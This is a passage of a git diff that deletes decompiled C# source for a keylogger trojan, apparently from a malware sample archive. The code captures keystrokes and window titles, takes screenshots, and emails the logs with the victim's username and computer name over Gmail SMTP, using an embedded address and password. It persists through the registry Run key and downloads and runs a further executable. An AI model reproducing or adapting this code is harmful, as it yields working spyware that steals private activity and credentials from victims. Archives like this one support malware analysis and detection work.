System.Windows.Forms.Timer(); - LEThjJwJ.jxcDcKOc = "gia.nebeiridze@gmail.com"; - LEThjJwJ.VIWdTJnX = "stinky_man"; - LEThjJwJ.uuhcRjjF = "smtp.gmail.com"; - LEThjJwJ.hPZhzwjN = 587; - LEThjJwJ.jDKZdzRz = 15; - LEThjJwJ.sTIotIDI = (LEThjJwJ.vaQBJxmE) 0; - LEThjJwJ.JTYgQGSy = "gii"; - LEThjJwJ.sszTlWvT = true; - LEThjJwJ.ovERJrct = true; - LEThjJwJ.EvtnLQcV = true; - LEThjJwJ.VOwOBwVt = ""; - LEThjJwJ.PeOZluvJ = ""; - LEThjJwJ.zvJbKQph = "Title"; - LEThjJwJ.yBhUjSkG = "Message"; - LEThjJwJ.pjtQnYek = 0; - LEThjJwJ.ikJUBDRY = true; - } - - public static JFsnADcn kIsaTynX - { - get => LEThjJwJ._kIsaTynX; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - JFsnADcn.gTTNCfFJEventHandler cfFjEventHandler = new JFsnADcn.gTTNCfFJEventHandler(LEThjJwJ.fCuNIYXT); - if (LEThjJwJ._kIsaTynX != null) - JFsnADcn.gTTNCfFJ -= cfFjEventHandler; - LEThjJwJ._kIsaTynX = value; - if (LEThjJwJ._kIsaTynX == null) - return; - JFsnADcn.gTTNCfFJ += cfFjEventHandler; - } - } - - public static System.Windows.Forms.Timer EDyaPnzo - { - get => LEThjJwJ._EDyaPnzo; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(LEThjJwJ.WgTsyZuO); - if (LEThjJwJ._EDyaPnzo != null) - LEThjJwJ._EDyaPnzo.Tick -= eventHandler; - LEThjJwJ._EDyaPnzo = value; - if (LEThjJwJ._EDyaPnzo == null) - return; - LEThjJwJ._EDyaPnzo.Tick += eventHandler; - } - } - - [DllImport("kernel32.dll", EntryPoint = "GetConsoleWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LCEyJcnQ(); - - [DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int skyYpCyb(IntPtr gAJgPgye, int kGjdmflr); - - [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CEcSDPKN(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lQvLavEF(int gAJgPgye, [MarshalAs(UnmanagedType.VBByRefStr)] ref string EvQdUmPZ, int zjhoEdTz); - - private static string AmaPJUJp() - { - string EvQdUmPZ = new string(char.MinValue, 100); - LEThjJwJ.lQvLavEF(LEThjJwJ.CEcSDPKN(), ref EvQdUmPZ, 100); - return EvQdUmPZ.Substring(0, checked (Strings.InStr(EvQdUmPZ, "\0") - 1)); - } - - public static void iuprKERd(string nJJcXJyI, string KwvchNGL) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.SetValue(nJJcXJyI, (object) KwvchNGL); - } - - public static void luatbVEQ(string nJJcXJyI) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.DeleteValue(nJJcXJyI, false); - } - - public static void BdxchQoW(string BRXObLtJ) - { - try - { - Mutex.OpenExisting(BRXObLtJ); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - LEThjJwJ.dLBfEuNPwTuuGh = new Mutex(false, BRXObLtJ); - ProjectData.ClearProjectError(); - } - } - - public static string JGkBFPXA(int viVGLcwp, int pQcuhISQ) - { - Random random = new Random(); - string str1 = (string) null; - string str2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM"; - int num1 = random.Next(checked (viVGLcwp + 1), pQcuhISQ); - int num2 = 1; - while (num2 <= num1) - { - int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f))); - str1 += Conversions.ToString(str2[index]); - checked { ++num2; } - } - return str1; - } - - private static void fCuNIYXT(string fStbJfxc) - { - if (Operators.CompareString(LEThjJwJ.yRLXDeEX, LEThjJwJ.AmaPJUJp(), false) != 0) - { - LEThjJwJ.gGxhXIIv = LEThjJwJ.gGxhXIIv + "\r\n[TITLE: " + LEThjJwJ.AmaPJUJp() + "]:\r\n"; - LEThjJwJ.yRLXDeEX = LEThjJwJ.AmaPJUJp(); - Console.WriteLine("\r\n[TITLE: " + LEThjJwJ.AmaPJUJp() + "]:"); - } - LEThjJwJ.gGxhXIIv += fStbJfxc; - Console.Write(fStbJfxc); - } - - private static void WgTsyZuO(object ZdVSbQJD, EventArgs xakvoUus) - { - Console.WriteLine("A new log is sending..."); - new Thread((ParameterizedThreadStart) (a0 => LEThjJwJ.JZFauwox(Conversions.ToString(a0)))) - { - IsBackground = true - }.Start((object) LEThjJwJ.gGxhXIIv); - LEThjJwJ.gGxhXIIv = ""; - } - - private static void JZFauwox(string aBATHoge) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str = Path.GetTempPath() + "\\" + LEThjJwJ.JGkBFPXA(5, 10) + ".png"; -label_2: - num3 = 3; - if (!LEThjJwJ.sszTlWvT) - goto label_7; -label_3: - num3 = 4; - urEVdlZmdSt.bDDtTQGvBoP(); -label_4: - num3 = 5; - if (!System.IO.File.Exists(str)) - goto label_6; -label_5: - num3 = 6; - System.IO.File.Delete(str); -label_6: - num3 = 8; - urEVdlZmdSt.phJSglASvYa.Save(str, ImageFormat.Png); -label_7: - num3 = 10; - MailMessage message = new MailMessage(); -label_8: - num3 = 11; - SmtpClient smtpClient1 = new SmtpClient(LEThjJwJ.uuhcRjjF); -label_9: - num3 = 12; - SmtpClient smtpClient2 = smtpClient1; -label_10: - num3 = 13; - smtpClient2.EnableSsl = true; -label_11: - num3 = 14; - smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(LEThjJwJ.jxcDcKOc, LEThjJwJ.VIWdTJnX); -label_12: - num3 = 15; - smtpClient2.Port = LEThjJwJ.hPZhzwjN; -label_13: - smtpClient2 = (SmtpClient) null; -label_14: - num3 = 17; - MailMessage mailMessage = message; -label_15: - num3 = 18; - mailMessage.To.Add(LEThjJwJ.jxcDcKOc); -label_16: - num3 = 19; - mailMessage.From = new MailAddress(LEThjJwJ.jxcDcKOc); -label_17: - num3 = 20; - mailMessage.Subject = LEThjJwJ.JTYgQGSy; -label_18: - num3 = 21; - mailMessage.Body = aBATHoge; -label_19: - num3 = 22; - if (!LEThjJwJ.sszTlWvT) - goto label_21; -label_20: - num3 = 23; - mailMessage.Attachments.Add(new Attachment(str)); -label_21: - num3 = 25; - if (!LEThjJwJ.EvtnLQcV) - goto label_23; -label_22: - num3 = 26; - mailMessage.Body = "Victim Username: " + LEThjJwJ.NYEUyahw().ToString() + "\r\n" + mailMessage.Body; -label_23: - num3 = 28; - if (!LEThjJwJ.ovERJrct) - goto label_25; -label_24: - num3 = 29; - mailMessage.Body = "Victim Computer Name: " + MyProject.Computer.Name + "\r\n" + mailMessage.Body; -label_25: - mailMessage = (MailMessage) null; -label_26: - num3 = 32; - smtpClient1.Send(message); -label_27: - num3 = 33; - Console.WriteLine("##### Logs have been sent! #####"); - goto label_34; -label_29: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - case 8: - goto label_6; - case 9: - case 10: - goto label_7; - case 11: - goto label_8; - case 12: - goto label_9; - case 13: - goto label_10; - case 14: - goto label_11; - case 15: - goto label_12; - case 16: - goto label_13; - case 17: - goto label_14; - case 18: - goto label_15; - case 19: - goto label_16; - case 20: - goto label_17; - case 21: - goto label_18; - case 22: - goto label_19; - case 23: - goto label_20; - case 24: - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - case 28: - goto label_23; - case 29: - goto label_24; - case 30: - case 31: - goto label_25; - case 32: - goto label_26; - case 33: - goto label_27; - case 34: - goto label_34; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_29; - } - throw ProjectData.CreateProjectError(-2146828237); -label_34: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void jYWYkXJT() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - WebClient webClient = new WebClient(); -label_2: - num3 = 3; - Uri address = new Uri(LEThjJwJ.VOwOBwVt); -label_3: - num3 = 4; - LEThjJwJ.xuJnJYDw = Path.GetTempPath() + "\\" + LEThjJwJ.JGkBFPXA(5, 10) + ".exe"; -label_4: - num3 = 5; - webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(LEThjJwJ.hTFrrRkv); -label_5: - num3 = 6; - webClient.DownloadFileAsync(address, LEThjJwJ.xuJnJYDw); - goto label_12; -label_7: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_12; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_7; - } - throw ProjectData.CreateProjectError(-2146828237); -label_12: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void hTFrrRkv(object ZdVSbQJD, AsyncCompletedEventArgs xakvoUus) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process process = new Process(); -label_2: - num3 = 3; - ProcessStartInfo processStartInfo = process.StartInfo; -label_3: - num3 = 4; - processStartInfo.FileName = LEThjJwJ.xuJnJYDw; -label_4: - num3 = 5; - processStartInfo.UseShellExecute = true; -label_5: - processStartInfo = (ProcessStartInfo) null; -label_6: - num3 = 7; - process.Start(); - goto label_13; -label_8: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_13; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_8; - } - throw ProjectData.CreateProjectError(-2146828237); -label_13: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static string NYEUyahw() - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); - string str = folderPath.Remove(folderPath.LastIndexOf("\\")); - return str.Substring(checked (str.LastIndexOf("\\") + 1)); - } - - [STAThread] - public static void Main() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - LEThjJwJ.BdxchQoW(LEThjJwJ.rjxjVBchppIcvK); -label_2: - num3 = 3; - System.Windows.Forms.Timer timer = LEThjJwJ.EDyaPnzo; -label_3: - num3 = 4; - timer.Interval = checked (LEThjJwJ.jDKZdzRz * int.Parse(Conversions.ToString(unchecked ((int) LEThjJwJ.sTIotIDI)))); -label_4: - num3 = 5; - timer.Start(); -label_5: - timer = (System.Windows.Forms.Timer) null; -label_6: - num3 = 7; - LEThjJwJ.mgIEoCOQ = new Thread(new ThreadStart(LEThjJwJ.jYWYkXJT)); -label_7: - num3 = 8; - Thread thread = LEThjJwJ.mgIEoCOQ; -label_8: - num3 = 9; - thread.IsBackground = true; -label_9: - num3 = 10; - thread.Start(); -label_10: - thread = (Thread) null; -label_11: - num3 = 12; - LEThjJwJ.stukiwEO = new Process(); -label_12: - num3 = 13; - Process process = LEThjJwJ.stukiwEO; -label_13: - num3 = 14; - process.StartInfo.FileName = LEThjJwJ.PeOZluvJ; -label_14: - num3 = 15; - process.StartInfo.UseShellExecute = true; -label_15: - num3 = 16; - process.Start(); -label_16: - process = (Process) null; -label_17: - num3 = 18; - if (!LEThjJwJ.ikJUBDRY) - goto label_19; -label_18: - num3 = 19; - int num4 = (int) Interaction.MsgBox((object) LEThjJwJ.yBhUjSkG, (MsgBoxStyle) LEThjJwJ.pjtQnYek, (object) LEThjJwJ.zvJbKQph); -label_19: - num3 = 21; - Console.WriteLine("SkyNeos V1.0 Keylogger Engine Started Successfully!"); -label_20: - num3 = 22; - string str = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); -label_21: - num3 = 23; - MyProject.Computer.FileSystem.CreateDirectory(str + "\\" + LEThjJwJ.vPQWnzcg); -label_22: - num3 = 24; - str = str + "\\" + LEThjJwJ.vPQWnzcg + "\\" + LEThjJwJ.rfBtxzmo; -label_23: - num3 = 25; - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str, true); -label_24: - num3 = 26; - LEThjJwJ.iuprKERd(LEThjJwJ.vPQWnzcg, str); -label_25: - num3 = 27; - LEThjJwJ.kIsaTynX.PcxsAocU(); -label_26: - num3 = 28; - Application.Run(); - goto label_33; -label_28: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - case 21: - goto label_19; - case 22: - goto label_20; - case 23: - goto label_21; - case 24: - goto label_22; - case 25: - goto label_23; - case 26: - goto label_24; - case 27: - goto label_25; - case 28: - goto label_26; - case 29: - goto label_33; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_28; - } - throw ProjectData.CreateProjectError(-2146828237); -label_33: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public enum vaQBJxmE - { - aXkYYJKL = 1, - JgRQRhvl = 1000, // 0x000003E8 - BWTnexoO = 60000, // 0x0000EA60 - osxyULbv = 3600000, // 0x0036EE80 - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyApplication.cs deleted file mode 100644 index 9f0ecb25..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyComputer.cs deleted file mode 100644 index acce9230..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyProject.cs deleted file mode 100644 index 40ed2e74..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.csproj deleted file mode 100644 index 03c92be5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {03F0188F-F5AB-4714-8A3F-C63F281C3390} - WinExe - server - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.sln deleted file mode 100644 index 3957185f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "server", "Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.csproj", "{03F0188F-F5AB-4714-8A3F-C63F281C3390}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {03F0188F-F5AB-4714-8A3F-C63F281C3390}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {03F0188F-F5AB-4714-8A3F-C63F281C3390}.Debug|Any CPU.Build.0 = Debug|Any CPU - {03F0188F-F5AB-4714-8A3F-C63F281C3390}.Release|Any CPU.ActiveCfg = Release|Any CPU - {03F0188F-F5AB-4714-8A3F-C63F281C3390}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/urEVdlZmdSt.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/urEVdlZmdSt.cs deleted file mode 100644 index e8e01a46..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/urEVdlZmdSt.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: urEVdlZmdSt -// Assembly: server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CD199AF6-714A-4002-ACEF-1B22892CF632 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -[StandardModule] -internal sealed class urEVdlZmdSt -{ - public static Bitmap phJSglASvYa = (Bitmap) null; - public static byte[] VgwkYxIHKar; - private const int fsBaOXggJJx = 13369376; - private static int oTigSPnRdwg; - private static int VrSyKgXrYQA; - - [DllImport("gdi32", EntryPoint = "CreateDCA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int iBDFNfOUBvr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ApfUzWXEVJc, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JTbrezvzIab, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string oBhrFKfGANg, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string nXCQZTvFHZo); - - [DllImport("GDI32", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int JOXDJJmHRpj(int nZAxBQNbJjy); - - [DllImport("GDI32", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int ATSFJCrDdhr(int nZAxBQNbJjy, int XNgElssiYTS, int ysInhDjBcGF); - - [DllImport("gdi32", EntryPoint = "GetDeviceCaps", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int YzTOTtDtokb(int nZAxBQNbJjy, int vSrZfrJeiPg); - - [DllImport("GDI32", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int DsdQUYuVxlr(int nZAxBQNbJjy, int ZQcCfRrFnEx); - - [DllImport("GDI32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int oHdskvHibDT( - int JhtUQLlIpXz, - int FpQeJDjvWwO, - int ByJrBNLLapB, - int LZiogekZfLD, - int yFFsuUtUnVa, - int jYfjywVHvnn, - int ScKxxfdtGFk, - int vNLQDloXWGU, - int lBzjdJZuXUZ); - - [DllImport("GDI32", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int JkEDoGvEtrD(int nZAxBQNbJjy); - - [DllImport("GDI32", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int NwOVixQZpDO(int drXQPtwVsZb); - - public static void bDDtTQGvBoP() - { - string str1 = "DISPLAY"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - string str3 = ""; - ref string local3 = ref str3; - string str4 = ""; - ref string local4 = ref str4; - int num1 = urEVdlZmdSt.iBDFNfOUBvr(ref local1, ref local2, ref local3, ref local4); - int num2 = urEVdlZmdSt.JOXDJJmHRpj(num1); - urEVdlZmdSt.oTigSPnRdwg = urEVdlZmdSt.YzTOTtDtokb(num1, 8); - urEVdlZmdSt.VrSyKgXrYQA = urEVdlZmdSt.YzTOTtDtokb(num1, 10); - int ZQcCfRrFnEx1 = urEVdlZmdSt.ATSFJCrDdhr(num1, urEVdlZmdSt.oTigSPnRdwg, urEVdlZmdSt.VrSyKgXrYQA); - int ZQcCfRrFnEx2 = urEVdlZmdSt.DsdQUYuVxlr(num2, ZQcCfRrFnEx1); - int num3 = urEVdlZmdSt.oHdskvHibDT(num2, 0, 0, urEVdlZmdSt.oTigSPnRdwg, urEVdlZmdSt.VrSyKgXrYQA, num1, 0, 0, 13369376); - int drXQPtwVsZb = urEVdlZmdSt.DsdQUYuVxlr(num2, ZQcCfRrFnEx2); - num3 = urEVdlZmdSt.JkEDoGvEtrD(num1); - num3 = urEVdlZmdSt.JkEDoGvEtrD(num2); - urEVdlZmdSt.phJSglASvYa = Image.FromHbitmap(new IntPtr(drXQPtwVsZb)); - urEVdlZmdSt.NwOVixQZpDO(drXQPtwVsZb); - } -} diff --git 